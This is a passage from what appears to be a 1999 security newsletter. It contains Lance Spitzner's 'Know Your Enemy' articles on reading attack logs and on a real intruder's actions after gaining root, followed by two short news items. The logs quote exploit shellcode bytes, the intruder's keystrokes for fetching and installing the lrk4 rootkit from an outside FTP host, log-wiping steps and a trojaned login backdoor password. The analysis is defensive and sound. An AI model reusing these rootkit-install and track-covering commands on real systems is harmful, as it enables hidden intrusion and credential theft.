  2546.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2547.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2548.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2549.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2550.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2551.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2552.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2553.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2554.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2555.       P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2556.       P~P~P3█3└░^[═~@3╥3└~K┌░^F═~@■┬u⌠1└░^B═~@~E└ubδb^V¼<²t^F■└t^Kδ⌡░0■╚~HF δ∞^░^B~ 
  2557.       I^F■╚~IF^D░^F~IF^H░f1█■├~I±═~@~I^F░^Bf~IF^L░*f~IF^N~MF^L~IF^D1└~IF^P░^P~IF^H░ 
  2558.       f■├═~@░^A~IF^D░f│^D═~@δ^DδLδR1└~IF^D~IF^H░f■├═~@~H├░?1╔═~@░?■┴═~@░?■┴═~@╕.bin@~ 
  2559.       I^F╕.sh!@~IF^D1└~HF^G~Iv^H~IF^L░^K~I≤~MN^H~MV^L═~@1└░^A1█═~@ΦE    ² Privet 
  2560.       ADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(Apr 14 04:20:51 
  2561.       mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^ 
  2562.       E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E 
  2563.       ^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^ H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E 
  2564.       ^H(-^E^H(-^E 
  2565.         
  2566.       
  2567.       When you see something like this in your log files, someone has attempted to exploit your system.  It is difficult to determine if
  2568.       the exploit was successful.  One way to do this is, following the exploit attempt, see if there are any connections from the
  2569.       remote source to your system.  If they successfully login from the remote system, they have access.  Another clue is if you find
  2570.       the accounts "moof", "rewt", "crak0", or "w0rm" added to your /etc/passwd file.  These accounts, uid 0, are added by some of
  2571.       the more common exploit scripts.  Once a blackhat gains access, normally the first thing they do is wipe your logs clean and
  2572.       trojan your logging (syslogd), for more information, see Know Your Enemy: III.  From this point on, you will not receive any
  2573.       logs from your system as everything has been compromised.  What you do next is subject for another article :).   Until then, I
  2574.       recommend you check out http://www.cert.org/nav/recovering.html 
  2575.       
  2576.       To help me find anomalies in my log files, I whipped up a shell script that scans my logs for me    For more detailed information
  2577.       on grepping and sorting log files, check out this posting by Marcus Ranum. 
  2578.       
  2579.                                        Bourne shell script          Korn shell script
  2580.                                        
  2581.       #!/bin/bash
  2582.       #
  2583.       # Created 20 April, 1999
  2584.       # Lance Spitzner, lance@spitzner.net
  2585.       #
  2586.       # Shows last 10 entries of critical system logs.
  2587.       # Build in some "artificial intelligence" using
  2588.       # greps and sorts.  You can select a specific
  2589.       # hosts logs, or you can select all hosts logs.
  2590.       #
  2591.       # Add whatever grep/sort statements you want to the
  2592.       # functions below.  The ones included are just 
  2593.       # examples.
  2594.       
  2595.       ##### Build variables
  2596.       if [ "$1" = "all" ]; then
  2597.               system=""
  2598.       else
  2599.               system=$1
  2600.       fi
  2601.       
  2602.       log=$2
  2603.       
  2604.       ##### Functions
  2605.       secure () {
  2606.       echo -e "\n\t--- Last 10 entries in /var/log/secure ---\n"
  2607.       grep "$system" /var/log/secure | grep -v "172.16.1." | tail -10
  2608.       }
  2609.       
  2610.       messages () {
  2611.       echo -e "\n\t--- Last 10 entries in /var/log/messages ---\n"
  2612.       grep "$system" /var/log/messages | grep -E -v '(named|MARK)' | tail -10
  2613.       }
  2614.       
  2615.       maillog () {
  2616.       echo -e "\n\t--- Last 10 entries in /var/log/maillog ---\n"
  2617.       grep "$system" /var/log/maillog | tail -10
  2618.       }
  2619.       
  2620.       title () {
  2621.       if [ "$system" = "" ]; then
  2622.               echo -e "\n### These are the log results of all systems ###"
  2623.       else
  2624.               echo -e "\n### These are the log results of system $system ###"
  2625.       fi
  2626.       }
  2627.       
  2628.       ##### Actual program
  2629.       case $log in
  2630.               secure)
  2631.               title
  2632.               secure
  2633.               ;;
  2634.               messages)
  2635.               title
  2636.               messages
  2637.               ;;
  2638.               maillog)
  2639.               title
  2640.               maillog
  2641.               ;;
  2642.               all)
  2643.               title
  2644.               secure
  2645.               messages
  2646.               maillog
  2647.               ;;
  2648.               *)
  2649.               echo -e "\nUsage: `basename $0` <host> <log>"
  2650.               echo
  2651.               echo "  <host> "
  2652.               echo "  Can either be a single source you want to grep"
  2653.               echo "  for in the log, or type \"all\" for all hosts in the" 
  2654.               echo "  log file."
  2655.               echo
  2656.               echo "  <log>"
  2657.               echo "  secure   -> for /var/log/secure"
  2658.               echo "  messages -> for /var/log/messages"
  2659.               echo "  maillog  -> for /var/log/maillog"
  2660.               echo -e "\tall   -> for all three log files\n"
  2661.       ;;
  2662.       esac
  2663.       
  2664.       exit 0
  2665.       
  2666.       
  2667.       -=-
  2668.       
  2669.       #!/bin/ksh
  2670.       #
  2671.       # Created 20 April, 1999
  2672.       # Lance Spitzner, lance@spitzner.net
  2673.       #
  2674.       # Shows last 10 entries of critical system logs.
  2675.       # Build in some "artificial intelligence" using
  2676.       # greps and sorts.  You can select a specific
  2677.       # hosts logs, or you can select all hosts logs.
  2678.       #
  2679.       
  2680.       ##### Define input
  2681.       if [ "$1" = "all" ]; then
  2682.               system=":"
  2683.       else
  2684.               system=$1
  2685.       fi
  2686.       
  2687.       log=$2
  2688.       
  2689.       ##### Define logs
  2690.       inetdlog=/var/adm/inetdlog
  2691.       messages=/var/adm/messages
  2692.       syslog=/var/adm/syslog
  2693.       
  2694.       ##### Functions
  2695.       inetdlog () {
  2696.       echo  "\n\t--- Last 10 entries in $inetdlog ---\n"
  2697.       grep "$system" "$inetdlog" | grep -v "172.16.1." | tail -10
  2698.       }
  2699.       
  2700.       messages () {
  2701.       echo  "\n\t--- Last 10 entries in $messages ---\n"
  2702.       grep "$system" "$messages" | egrep -v '(named|MARK)' | tail -10
  2703.       }
  2704.       
  2705.       syslog () {
  2706.       echo  "\n\t--- Last 10 entries in $syslog ---\n"
  2707.       grep "$system" "$syslog" | tail -10
  2708.       }
  2709.       
  2710.       title () {
  2711.       if [ "$system" = ":" ]; then
  2712.               echo  "\n### These are the log results of all systems ###"
  2713.       else
  2714.               echo  "\n### These are the log results of system $system ###"
  2715.       fi
  2716.       }
  2717.       
  2718.       ##### Actual program
  2719.       case $log in
  2720.               inetdlog)
  2721.               title
  2722.               inetdlog
  2723.               ;;
  2724.               messages)
  2725.               title
  2726.               messages
  2727.               ;;
  2728.               syslog)
  2729.               title
  2730.               syslog
  2731.               ;;
  2732.               all)
  2733.               title
  2734.               inetdlog
  2735.               messages
  2736.               syslog
  2737.               ;;
  2738.               *)
  2739.               echo  "\nUsage: `basename $0` <host> <log>"
  2740.               echo
  2741.               echo "\t<host> "
  2742.               echo "\tCan either be a single source you want to grep"
  2743.               echo "\tfor in the log, or type \"all\" for all hosts in the" 
  2744.               echo "\tlog file."
  2745.               echo
  2746.               echo "\t<log>"
  2747.               echo "\tinetdlog  -> for /var/log/inetdlog"
  2748.               echo "\tmessages  -> for /var/log/messages"
  2749.               echo "\tsyslog    -> for /var/log/syslog"
  2750.               echo "\tall       -> for all three log files\n"
  2751.       ;;
  2752.       esac
  2753.       
  2754.       exit 0
  2755.  
  2756.                                  
  2757.                                        
  2758.       Conclusion 
  2759.       Your system logs can tell you a great deal about the enemy.  However, the first step is guaranteeing the integrity of your log
  2760.       files.  One of the best ways to do that is use a remote log server that receives and stores logs from all systems.  Once secured,
  2761.       you can then identify patterns in your log files.  Based on these patterns and log entries, you can determine what the blackhat is
  2762.       looking for, and potentially what tools they are using.  Based on this knowledge, you can better secure and protect your
  2763.       systems. 
  2764.         
  2765.       
  2766.       Author's bio 
  2767.       Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an Officer in the Rapid
  2768.       Deployment Force, where he blew up things of a different nature. You can reach him at lance@spitzner.net . 
  2769.   
  2770.   
  2771.       Part 3
  2772.       
  2773.       They Gain Root 
  2774.       Know Your Enemy: III 
  2775.       
  2776.       Lance Spitzner 
  2777.       Last Modified: 23 May, 1999 
  2778.       
  2779.       This article is the third of a series focusing on the script kiddie.  The first paper focuses on how script kiddies probe
  2780.       for,  identify, and exploit vulnerabilities.  The second paper focuses on how you can detect these attempts, identify
  2781.       what tools they are using and what vulnerabilities they are looking for.  This paper, the third, focuses on what
  2782.       happens once they gain root.  Specifically, how they cover their tracks and what the do next. 
  2783.       
  2784.       Who is the script kiddie 
  2785.       
  2786.       As we learned in the first paper, the script kiddie is not so much a person as it is a strategy, the strategy of probing for the easy
  2787.       kill. One is not searching for specific information or targeting a specific company, the goal is to gain root the easiest way
  2788.       possible. Intruders do this by focusing on a small number of exploits, and then searching the entire Internet for that exploit. Do
  2789.       not understimate this strategy, sooner or later they find someone vulnerable. 
  2790.       
  2791.       Once they find a vulnerable system and gain root, their first step is normally to cover their tracks.  They want to ensure you do
  2792.       not know your system was hacked and cannot see nor log their actions.  Following this, they often use your system to scan
  2793.       other networks, or silently monitor your own. To gain a better understanding of how they accomplish these acts, we are going
  2794.       to follow the steps of a system compromised by an intruder using script kiddie tactics.  Our system, called mozart, is a Linux
  2795.       box running Red Hat 5.1.  The system was compromised on April 27, 1999.  Below are the actual steps our intruder took,
  2796.       with system logs and keystrokes to verify each step.  All system logs were recorded to a protected syslog server, all
  2797.       keystrokes were captured using sniffit.  Throughout this paper our intruder is refered to as he, however we have no idea what
  2798.       the true gender of the intruder is. 
  2799.       
  2800.       The exploit 
  2801.       
  2802.       On 27 April, at 00:13 hours, our network was scanned by the system 1Cust174.tnt2.long-branch.nj.da.uu.net for several
  2803.       vulnerabilities, including imap.  Our intruder came in noisy, as every system in the network was probed (for more information on
  2804.       detecting and analyzing scans, please see the second paper of this series). 
  2805.       
  2806.       Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174 
  2807.       Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174 
  2808.       Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174 
  2809.       
  2810.       Apparently he found something he liked and returned at 06:52 and 16:47 the same day.  He started off with a more thorough
  2811.       scan, but this time focusing only on mozart.  He identified a weakness and launched a successful attack against mountd, a
  2812.       commonly known vulnerability for Red Hat 5.1.  Here we see in  /var/log/messages the intruder gaining root.  The tool used
  2813.       was most likely ADMmountd.c, or something similar to it. 
  2814.       
  2815.       Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174. 
  2816.       Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together 
  2817.       Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount 
  2818.       ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P 
  2819.       ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 
  2820.       
  2821.       Immediately following this exploit, we see in /var/log/messages our intruder gaining root by telneting in as the user crak0, and
  2822.       then su to the user rewt.  Both of these accounts were added by the exploit script.  Our intruder now has total control of our
  2823.       system. 
  2824.       
  2825.       Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
  2826.       FOR crak, User not known to the underlying authentication module 
  2827.       Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0) 
  2828.       Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM
  2829.       1Cust102.tnt1.long-branch.nj.da.uu.net 
  2830.       Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0) 
  2831.       
  2832.       Covering their tracks 
  2833.       
  2834.       The intruder is now on our system as root.  As we are now about to see, the next step for him is to make sure he does not get
  2835.       caught.  First, he checks to see if anyone else is on the system. 
  2836.       
  2837.       [crak0@mozart /tmp]$ w 
  2838.         4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00 
  2839.       USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT 
  2840.       crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w 
  2841.       
  2842.       After making sure the coast is clear, he will want to hide all of his actions. This normally entails removing any evidence from the
  2843.       logs files and replacing system binaries with trojans, such as ps or netstat, so you cannot see the intruder on your own system. 
  2844.       Once the trojans are in place, the intruder has gained total control of your system and you will most likely never know it. Just as
  2845.       there are automated scripts for hacking, there are also automated tools for hiding intruders, often called rootkits.  One of the
  2846.       more common rootkits is lrk4.  By executing the script, a variety of critical files are replaced, hiding the intruder in seconds. 
  2847.       For more detailed information on rootkits, see the README that comes with lrk4.  This will give you a better idea how
  2848.       rootkits work in general. 
  2849.       
  2850.       Within minutes of compromising our system, we see the intruder downloading the rootkit  and then implementing the script with
  2851.       the command "make install".   Below are the actual keystrokes the intruder typed to hide himself. 
  2852.       
  2853.       cd /dev/ 
  2854.       su rewt 
  2855.       mkdir ". " 
  2856.       cd ". " 
  2857.       ftp technotronic.com 
  2858.       anonymous 
  2859.       fdfsfdsdfssd@aol.com 
  2860.       cd /unix/trojans 
  2861.       get lrk4.unshad.tar.gz 
  2862.       quit 
  2863.       ls 
  2864.       tar -zxvf lrk4.unshad.tar.gz 
  2865.       mv lrk4 proc 
  2866.       mv proc ". " 
  2867.       cd ". " 
  2868.       ls 
  2869.       make install 
  2870.       
  2871.       Notice the first thing that our intruder did, he created the hidden directory ".  " to hide his toolkit.  This directory does not show
  2872.       up with the "ls" command, and looks like the local directory with "ls -la" command. One way you can locate the directory is
  2873.       with the "find" command (be sure you can trust the integrity of your "find" binary). 
  2874.       
  2875.       mozart #find / -depth -name "*.*" 
  2876.       /var/lib/news/.news.daily 
  2877.       /var/spool/at/.SEQ 
  2878.       /dev/. /. /procps-1.01/proc/.depend 
  2879.       /dev/. /. 
  2880.       /dev/. 
  2881.       
  2882.       Our intruder may have been somewhat sophisticated in using trojan binaries, but had a simpler approach to cleaning the logs
  2883.       files.  Instead of using cleaning tools such as zap2 or clean, he copied /dev/null to the files /var/run/utmp and /var/log/utmp,
  2884.       while deleting /var/log/wtmp.  You know something is wrong when these logs files contain no data, or you get the following
  2885.       error: 
  2886.       
  2887.       [root@mozart sbin]# last -10 
  2888.       last: /var/log/wtmp: No such file or directory 
  2889.       Perhaps this file was removed by the operator to prevent logging last info. 
  2890.       
  2891.       The next step 
  2892.       
  2893.       Once a system has been compromised, intruders tend to do one of two things.  First, they use your system as a launching pad
  2894.       and scan or exploit other systems.  Second, they decided to lay low and see what  they can learn about your system, such as
  2895.       accounts for other systems.  Our intruder decided for option number two, lay low and see what he could learn.  He
  2896.       implemented a sniffer on our system that would capture all of our network traffic, including telnet and ftp sessions to other
  2897.       systems.  This way he could learn logins and passwords.  We see the sytem going into promiscuous mode in /var/log/messages
  2898.       soon after the compromise. 
  2899.       
  2900.       Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode. 
  2901.       Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. 
  2902.       
  2903.       After implementing the trojan binaries, clearning the log files, and starting the sniffer, our intruder disconnected from the system. 
  2904.       However, we will see him returning the next day to find what traffic he captured. 
  2905.       
  2906.       Damage Control 
  2907.       
  2908.       Since our friend had disconnected, this gave me a chance to review the system and see what exactly happened.  I was
  2909.       extremely interested to see what was altered, and where he was logging the sniffer information.  First, I quickly identified with
  2910.       Tripwire which files were modified.  Tripwire showed the following: 
  2911.       
  2912.       added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid 
  2913.       added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log 
  2914.       changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login 
  2915.       changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin 
  2916.       changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find 
  2917.       changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd 
  2918.       changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top 
  2919.       changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall 
  2920.       changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn 
  2921.       changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh 
  2922.       changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin 
  2923.       changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd 
  2924.       changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd 
  2925.       changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd 
  2926.       changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd 
  2927.       changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd 
  2928.       changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin 
  2929.       changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig 
  2930.       changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd 
  2931.       
  2932.       As you can see, a variety of binaries and files were modified.  There were no new entries in /etc/passwd (wisely, he had
  2933.       removed the crak0 and rewt accounts), so our intruder must have left a backdoor in one of the modified binaries.  Also, two
  2934.       files were added, /usr/sbin/sniff.pid and /usr/sbin/tcp.log.  Not suprisingly, /usr/sbin/sniff.pid was the pid of the sniffer,
  2935.       /usr/sbin/tcp.log was where he was storing all of his captured information.  Based on /usr/sbin/sniff.pid, the sniffer turned out to
  2936.       be rpc.nfsd.  Our intruder had compiled a sniffer, in this case linsniffer, and replaced rpc.nfsd with it.  This ensured that if the
  2937.       system was rebooted, the sniffer would be restarted by the init process.  Strings confirms rpc.nfsd is the sniffer: 
  2938.       
  2939.       mozart #strings /usr/sbin/rpc.nfsd | tail -15 
  2940.       cant get SOCK_PACKET socket 
  2941.       cant get flags 
  2942.       cant set promiscuous mode 
  2943.       ----- [CAPLEN Exceeded] 
  2944.       ----- [Timed Out] 
  2945.       ----- [RST] 
  2946.       ----- [FIN] 
  2947.       %s => 
  2948.       %s [%d] 
  2949.       sniff.pid 
  2950.       eth0 
  2951.       tcp.log 
  2952.       cant open log 
  2953.       rm %s 
  2954.       
  2955.       After reviewing the system and understanding what happened, I left the system alone.  I was curious to see what the intruder's
  2956.       next steps would be.  I did not want him to know that I had caught him, so I removed all of my entries from /usr/sbin/tcp.log. 
  2957.       
  2958.       The Script Kiddie Returns 
  2959.       
  2960.       The following day our friend returned.  By logging his keystrokes, I quickly identified the backdoor, /bin/login was trojaned. 
  2961.       This binary, used for telnet connections, was configured to allow the account "rewt" root privileges with the password "satori". 
  2962.       The password "satori" is the default password for all trojaned binaries that the rootkit lrk4 uses, a giveaway that your system
  2963.       may have been compromised. 
  2964.       
  2965.       The intruder was checking on his sniffer to ensure it was still functioning.  Also, he wanted to confirm if any accounts were
  2966.       captured since the previous day.   You can review his keystrokes at keystrokes.txt.  Notice at the bottom of the log our
  2967.       intruder kills the sniffer.  This was the last thing he did before terminating the session.  However, he quickly returned several
  2968.       minutes later with another session, only to start the sniffer again.  I'm not exactly sure why he did this. 
  2969.       
  2970.       This process of checking the system continued for several days.  Every day the intruder would connect to the system to confirm
  2971.       the sniffer was running  and if it had captured any valuable data.  After the fourth day, I decided that this was enough and
  2972.       disconnected the system.  I had learned enough from the intruder's actions and was not going to learn anything new. 
  2973.       
  2974.       Conclusion 
  2975.       
  2976.       We have seen in this paper how an intruder may act , from start to finish, once they gain root on your system. They often begin
  2977.       by checking to see if anyone is on the system.  Once they know the coast is clear, they cover their tracks by clearing the logfiles
  2978.       and replacing or modifying critical files. Once they are safely hidden, they move onto new and more damaging activities.  These
  2979.       tactics are here to stay, as new exploits are constantly being discovered. To better protect yourself against these threats, I
  2980.       recommend you armor your systems.  Basic armoring will protect against most script kiddie threats, as they normally go for the
  2981.       easy kill.  For ideas on how to armor your system, check out Armoring Linux or Armoring Solaris.  If it is to late and you feel
  2982.       your system has already been compromised, a good place to start is CERT's site "Recovering from an Incident" . 
  2983.         
  2984.       
  2985.       Author's bio 
  2986.       Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an Officer in the Rapid
  2987.       Deployment Force, where he blew up things of a different nature. You can reach him at lance@spitzner.net . 
  2988.         
  2989.       @HWA
  2990.  
  2991.  11.0 Cox Report Blasts DOE Computer Security 
  2992.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2993.       
  2994.       From HNN http://www.hackernews.com/ 
  2995.  
  2996.       contributed by erewhon 
  2997.       In addition to revealing that China has stole numerous
  2998.       military secrets from the US the Cox Report, unclassified
  2999.       yesterday, blasts the Department of Energy on
  3000.       computer security. The report blamed the DOE for giving
  3001.       to much computer access to foreign nationals. The
  3002.       issue is access to systems or information covered by
  3003.       export control laws. While the systems or software are
  3004.       not physically exported, use of the technology by some
  3005.       foreign nationals is called a "deemed export" and is
  3006.       covered under Department of Commerce rules. 
  3007.  
  3008.       Federal Computer Week
  3009.       http://www.fcw.com/pubs/fcw/1999/0524/web-doe-5-25-99.html
  3010.       
  3011.       MAY 25, 1999 . . . 18:25 EDT 
  3012.  
  3013.  
  3014.       House report faults DOE computer access by
  3015.       foreign nationals
  3016.  
  3017.       BY ELANA VARON (varon@fcw.com)
  3018.  
  3019.       A report issued today about theft of U.S. nuclear secrets by China
  3020.       concludes that the Energy Department has been too free in granting foreign
  3021.       nationals access to its supercomputers.
  3022.  
  3023.       The report, by the House Select Committee on U.S. National Security and
  3024.       Military/Commercial Concerns With the People's Republic of China, said
  3025.       DOE officials are required to review whether such access violates federal
  3026.       export controls. But the report also said lab officials "lack an essential
  3027.       understanding" of the export rules. The report cited interviews with Commerce
  3028.       Department officials who said they did not recall ever receiving a license
  3029.       application to "export" the technology from any of the labs.
  3030.  
  3031.       Although the systems or software are not physically exported, use of the
  3032.       technology by some foreign nationals is called a "deemed export" because
  3033.       sending the technology overseas would require a license. The report said the
  3034.       labs do not measure the power of their systems in such a way that they could
  3035.       determine which systems are subject to the export rules, and lab officials never
  3036.       asked Commerce how to determine if the DOE systems were subject to
  3037.       export control.
  3038.  
  3039.       The report also concluded that foreign graduate students and staff at U.S.
  3040.       universities who are conducting DOE-supported research have the same
  3041.       computer privileges as students who are U.S. citizens, even though some of
  3042.       the foreign students are affiliated with their countries' intelligence agencies.
  3043.  
  3044.       The report noted that DOE is preparing a counterintelligence plan that
  3045.       addresses these issues.
  3046.  
  3047.       @HWA
  3048.       
  3049.  12.0 Black Hat Briefings Announced 
  3050.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  3051.  
  3052.       contributed by Code Kid 
  3053.       Come and meet the Hackers. Secure Computing has officially announced Black Hat '99
  3054.       the third annual meeting of the minds between security professionals, white and black
  3055.       hat hackers. (If you are deep in the Security business and can only go to one conference
  3056.       then this is it.) (And Microsoft is now a cosponsor, how ironic is that?) 
  3057.  
  3058.       PR Newswire
  3059.       http://biz.yahoo.com/prnews/990525/ca_secure__1.html
  3060.       
  3061.       BlackHat
  3062.       http://www.blackhat.com/
  3063.       
  3064.       PR Newswire;
  3065.       
  3066.       Tuesday May 25, 8:45 am Eastern Time
  3067.  
  3068.       Company Press Release
  3069.       
  3070.       SOURCE: Secure Computing Corporation
  3071.       
  3072.       Secure Computing Corporation Announces Black Hat
  3073.       Briefings '99, Bringing Together Corporate and
  3074.       Government Experts, and Hackers to Address Y2K And Enterprise
  3075.       Security
  3076.       
  3077.       SAN JOSE, Calif., May 25 /PRNewswire/ -- Secure Computing (Nasdaq: SCUR - news) today 
  3078.       announced that Secure Computing Black Hat Briefings '99, the exclusive security 
  3079.       conference, will take place from July 7-8, 1999 at the Venetian Hotel on the Las Vegas
  3080.       Strip. This third annual conference brings corporate and government engineers and software
  3081.       programmers face-to-face with today's cutting edge computer security experts and 
  3082.       ``underground'' security specialists for two days of intensive discussions on who's 
  3083.       breaking in to computer networks, how they are doing it, how Y2K is affecting security,
  3084.       and what can be done to address this.
  3085.       
  3086.       The conference, with title sponsorship by Secure Computing, and lead sponsorship by 
  3087.       Microsoft (Nasdaq: MSFT - news),National Computer Security Center, Counterpane Systems 
  3088.       and Network Flight Recorders is designed to fill the need of computer professionals to 
  3089.       better understand the security risks to their computer and information infrastructures by
  3090.       potential threats. To do this, Secure Computing assembles a group of vendor neutral 
  3091.       security professionals at the same forum, where they will candidly discuss and debate the
  3092.       problems businesses face, and the solutions they see to those problems. Secure Computing 
  3093.       Black Hat Briefings '99 is not for security dilettantes or marketers looking to hawk their
  3094.       vendors' wares -- just straight talk by people who make it their business to explore the 
  3095.       ever-changing security space.
  3096.       
  3097.       Spanning two days the conference has three separate tracks, two focused at technical 
  3098.       audiences with a third a new ``White Hat'' tract that is focused at CIO's, CEO's and other
  3099.       senior level people. Topics will include Y2K and what it means to system security, how to 
  3100.       detect and repel attacks on a network, secure programming techniques and tool selection for
  3101.       creating and effectively monitoring secure networks. Secure Computing Black Hat Briefings 
  3102.       '99 intense sessions will bring to light the security problems confronting organizations 
  3103.       and network administrators, most of which go unnoticed by today's preoccupied
  3104.       system administrators who are often more worried about network growth, updates and Y2K
  3105.       problems.
  3106.       
  3107.       Running the conference is Jeff Moss, Director of Assessment Services at Secure Computing.
  3108.       Prior to joining Secure Computing, Moss was at Ernst & Young, LLP, where he was a manager
  3109.       in the Information Security Services (ISS) group. Moss also successfully owned and operated
  3110.       DEF CON Communications, a computer consulting company that focused on
  3111.       network security solutions.
  3112.       
  3113.       ``It is crucial that we continue to educate organizations on the risks they face daily. 
  3114.       Network security breaches are real, and are costing organizations hundreds of millions of 
  3115.       dollars every year,'' said Moss. ``The coming year will be crucial for organizations
  3116.       in regards to their network security. Taking a myopic approach only to the Y2K issue that
  3117.       does not involve diligent attention to security could lead to severe consequences. Being 
  3118.       Y2K compliant really won't matter for much if an organization's network is rendered 
  3119.       ineffective by hacker attacks and intrusions. That is why a forum like Secure Computing 
  3120.       Black Hat Briefings '99 is so important in educating businesses and governments about the 
  3121.       very real threats that are out there.''
  3122.       
  3123.       Presenters range from corporate and government security system managers to master hackers
  3124.       themselves, including Dr.Mudge, one of the prominent members of the hacker group 
  3125.       'The L0pht', who is responsible for numerous advisories and tools in use in both the black
  3126.       hat and white hat communities; Peter Shipley, who is well known and respected in the 
  3127.       professional world as well as the underground and hacker community and whose specialties 
  3128.       are third party penetration testing and firewall review, computer risk assessment, and 
  3129.       security training; and Bruce Schneier, author of applied Cryptography and president of
  3130.       Counterpane Systems.
  3131.       
  3132.       More Information, and How to Register
  3133.       
  3134.       Detailed information on Secure Computing Black Hat Briefings '99, including a speaker's 
  3135.       schedule, biographies of presenters, and information on how to register and reserve hotel
  3136.       rooms, can be found via the Secure Computing Web site (http://www.securecomputing.com ) 
  3137.       and by clicking on the Black Hat Briefings '99 icon.
  3138.       
  3139.       About Secure Computing
  3140.       
  3141.       Headquartered in San Jose, Calif., Secure Computing Corporation provides enterprise-wide
  3142.       network security solutions to a worldwide partner and customer base in financial services,
  3143.       telecom, aerospace, manufacturing, hi-tech, service providers and government agencies. 
  3144.       More information is available over the Internet at www.securecomputing.com or by calling:
  3145.       in the U.S., 800-379-4944 or 408-918-6100; in Europe, 44-1753-826000; in Asia/Pacific, 
  3146.       61-2-9844-5440.
  3147.       
  3148.       NOTE: All registration and trademarks are proprietary to their respective owners 
  3149.       
  3150.       From secure computing;
  3151.       
  3152.         
  3153.                   The Black Hat Briefings '99, July
  3154.                           7-8th Las Vegas 
  3155.                   The Black Hat Briefings '99, July
  3156.                           7-8th Las Vegas
  3157.  
  3158.  
  3159.       It's late. You're in the office alone, catching up on database
  3160.       administration.  Behind you, your network servers hum along quietly,
  3161.       reliably.  Life is good.  No one can get to your data or disrupt your
  3162.       WAN. The network is secure.  Or is it? 
  3163.  
